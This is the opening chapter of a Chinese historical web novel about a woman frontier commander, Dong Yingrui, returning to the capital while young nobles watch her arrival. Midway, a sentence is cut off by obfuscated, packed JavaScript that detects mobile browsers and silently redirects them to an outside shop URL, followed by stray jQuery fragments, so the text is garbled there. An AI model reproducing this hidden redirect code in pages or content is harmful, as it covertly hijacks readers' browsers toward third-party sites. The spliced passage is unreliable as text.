1. 回城 第一章回城

作品:《我与你道同相为谋

    董英睿在昌远州戍边已八年有余,接任哥哥的职位后,这是她第一次回都。


    经过城门口时,守城的军士检查过令牌和通行证,又核对了各人画像,向骑在马上的队伍行了军礼,他们早得了消息。


    “陛下已有旨意,昌远军总兵入都可先回府,差人禀明宫中,上朝日朝后会单召。”


    听到陛下有旨意,她亲自下马,躬身接旨。


    天朝官员除祭祀和大典极少行跪礼,天子上朝站立奏对,年迈文官还有赐座,官员平时互相只行揖礼,面对陛下深揖,以示皇权在上。


    这守将差事办的极好,入都人数、画像、证件令牌,核对的很是仔细,甚至对马和他们随身所带也做了登记,她对严谨的人总是印象深刻,队伍行进前又多看了两眼。


    离城门不远路边茶馆的二楼坐着几名年轻男女,也提前得了消息,在此处等了好几日,其中一位长相姣好的女子向同坐相邻的男子询问,“这便是董氏宗女?”


    “是。”声音有些难以抑制的激动。


    女子得了肯定后很是惊讶,“听闻董氏宗女从军,竟不知有此美貌,看着还有些锋利清冷。”


    “领兵需有威信,不容冒犯,大人有大才,也有常人勿近的本事,如今我们所学武学院策论科目中关于防御体系的范例,就是她所创。”


    男子是天朝以工事典籍传世的林家次子林云枫,父亲任右工部侍郎,哥哥是当今昭乐公主的驸马,也算是皇亲国戚。


    “昌远军边防的防御工事并不难造,但能将地形、设施、人力综合运用,构建层次化防御体系,需在多面均有擅长。前警戒、中消耗、后坚守,以空间换时间,以工事换人力,极大的提升了我朝边防军遇战反应时间,已广泛应用于我朝边防诸城。又构建多城联防体系,融入了游击军力,更是精妙绝伦。”


    旁边同行的几人此刻都是一脸敬佩地看着队伍前方那英姿勃发的身影。


    “原来如此,我们书院并不教授这些,没想到大人竟这般厉害。”女子更是惊奇。


    她叫赵央,母亲与林云枫母亲是亲姐妹,她外祖家官位不高,将嫡长女嫁到林家已颇费力,她母亲不受重视,也没有林云枫母亲那样的好运气,嫁入林家生有两子一女,长子还与皇家结亲,娶了先皇最宠爱的昭乐公主,也只有一名妾室生有一女,很是省心。


    她父亲不是世家,官职也不高,有好几个妾室整日争风吃醋,自己母亲性格软弱也无男嗣,因着林家的关系,不算难过,但却也不得优待,她在后宅中长大,对前朝知晓很少。


    林云枫转过头看她,“朝中多有良才,能做到总兵岂会是普通之辈,武学院人人知晓,好几门科目留下的记录至今无人能破。”


    赵央又问,“云枫哥哥,听姨母说你们与董家有姻亲?”


    林云枫点点头,“目前董家本家分出去的二房主母是我姑母,在任护龙营的主官董英朗是我表哥,大人回城的消息就是从姑母那里听来,只是不确定归程日期,只能在此处等。”


    女子很是羡慕,又觉得有些惭愧,“凭表哥家世,与大人相见也是早晚的事,若不是我们好奇又无机会可见,也不劳烦表哥陪我们在这等候。”众人也都是连连道歉,他们都是赵央的同窗,赵央因为林家的关系,在书院中也算有些面子,其中这些普通官员家的子女更是与她走得近。


    近日林家主母身体有些不适,她随母亲前去探望,暂住在林家,听到林云枫拜托大哥想求公主七夕巧宴时邀请董氏族人,好奇问了才知原来董氏宗女要回都城。跟同窗偶然说起,有些上过武学院平日又不得机会的,好一番求她,她这才无奈求了表哥。


    林云枫并不排斥借势给表妹,家族势力本就是遮荫避雨,他担得住便可用。


    “能见一面已是难得,听说她幼时便不参与此类聚会,武学院时也只一心课业,结业后就入了军。到如今地位,又是董氏本家之女,今年只是述职,应呆不了多久就得走,我也不一定能见。”


    林云枫这话没有谦虚,如今科举盛行,世家不得靠门荫入仕,即使由皇上钦定的世家任职,也需得族人里选拔出可任职之人才会下任命书,他还未参加科考,自然见不得。


    “大人暂留都城,表哥或有机会得见,我们就不奢望了。”


    林云枫看着队伍,心里很是难耐,听到此话点了点头,“是有些难,听姑母说,董氏并不多与外相交,只族内偶有集会,也以武学切磋为主,且本家引领全族,事务繁杂,非大场合几乎也不到场,七夕巧宴我拜托大哥请公主邀请董氏族人,公主应下了,但不知是否得见,若得见,你暂住林家或许也有机会。”


    众人见林家公子与赵央确实关系亲密,如此密事都在他们面前说,更是对赵央高看许多,又听到赵央竟也有机会能得见一品大员,更是羡慕。


    突然听见下方骚动,几人起身凑到窗前。


    “是骑射二班的郑高明。”


    林云枫认出下方拦路的人,郑高明的哥哥郑高阳是他表哥董英朗的副手,平日近身在陛下身边护卫,郑高明因此在武学院很是被人追捧,也确有实力,是正儿八经的武学院门内子弟。


    武学院分两种教授模式,一种是郑高明这类,系统化完整教授军事所用技能,策论(兵法)、骑射、刀、枪、弩等,从军事策略到具体技能都有教授,一年学完各科选拔,次年根据各人擅长分科专项教授,其他科目只做辅助,第三年参与军事考校后被选中可直接军中任职。三年一招生,招入教授三年,再继续下一批。


    林云枫是另外一类教授模式,只学理论了解,再稍加练习有一门武学技能拿得出手即可,不限制三年学期,每年一次入学和结业机会,也可以在院中参加科考,或弃学改入书院。这种是为了弥补朝中文职官员子女不擅习武的不足,教习专业且速


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016876|194223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成,结业之后回家再自行练习。


    郑高明看着马上的董英睿,她有些冷瑟,打量他的眼神里他能感受到威压。他嘴唇抖了抖,什么都说不出来。


    她非骑射班出身,但骑射成绩这些年记录无人打破,他假期也不休息,特意向学院申请了场地练习,今日正好路过听见人议论,一时难以自持,竟直接冲到了队伍前。


    董英睿身旁的随将有一人驾马上前,厉声质问,“何人敢拦昌远军总兵?”


    未听答话,身边又有几名随将下马,将刀出鞘,持刀上前,”只一次提醒,速速让开。”


    董英睿注视着前方男子,模样十八九岁,着武学院服饰,应是被自己队伍的阵仗吓到,有些呆滞,看并无危险,便做了手势让队伍绕行。


    她事情很多,不欲与他浪费精力,马下几人严阵以待,马上的队伍经两侧绕过郑高明前行,直到队伍全部走过,几人将刀入鞘,上马归队。


    待队伍走远,旁边的百姓有几人才敢壮着胆上前,“你是武学院的学生?怎敢拦将军的马?”


    郑高明这才回过来神,一身冷汗。


    楼上的几人也都心惊胆颤,看着郑高明冲动至此林云枫也有些担忧,非军事急报阻拦参将以上武将车驾,放在法例里可要打五十大板,但总兵大人全程一言未发,也未怪罪,竟还绕道而行。


    几人赶紧下楼接上郑高明,看他无事才放下心,郑高明看林云枫面熟,询问得知是同院,林云枫看他太过冲动,便做以劝告,“大人久未回都,并未与你计较,还为你绕行了队伍,你以后莫再如此,否则遇上其他大人,未必能如此次轻饶了你。”


    郑高明当然知道,他压下心慌,向几人道了谢,适逢同行的人过来寻,才一道回去。


    赵央一行人又感叹总兵大人的广阔心胸,又羡慕郑高明算是露了回脸,武将着实比他们书生要直接许多,他们恪守规则,自然做不出如此冲动之事,以他们家世,也不敢如此行事。


    董英睿凭着记忆往董家去,并不知道其他人如何想,她也不在意,她年少风光,族内能力过她者少有,如今更是大权在握,胸怀沟壑,满腔热血在新政,无暇顾及其他。


    她年少有过青梅竹马,后来去了南海抗倭,他比她早一年从武学院结业入军,先是去了西面的永定军,后来又转到南海,到如今两人已多年未见,她知道南海战事频起,他无暇顾及终身大事,她自认为自己也是如此。


    以往哥哥只让她军内历练,偶尔携家眷前往,却不让她回来,去年提了总兵,只上了奏折谢恩,年初述职也未回,被御史弹劾罚了半年俸禄,如今不得不回都城述职。


    而且眼下她回都城,有许多事要做,不仅有新政要呈,再有她近日有些头疼,甚至白日也会突然晕倒,需要让他们家中府医好好看看。


    她看着眼前的路,心里暗自想着,既然今日已回,暂时可就不走了。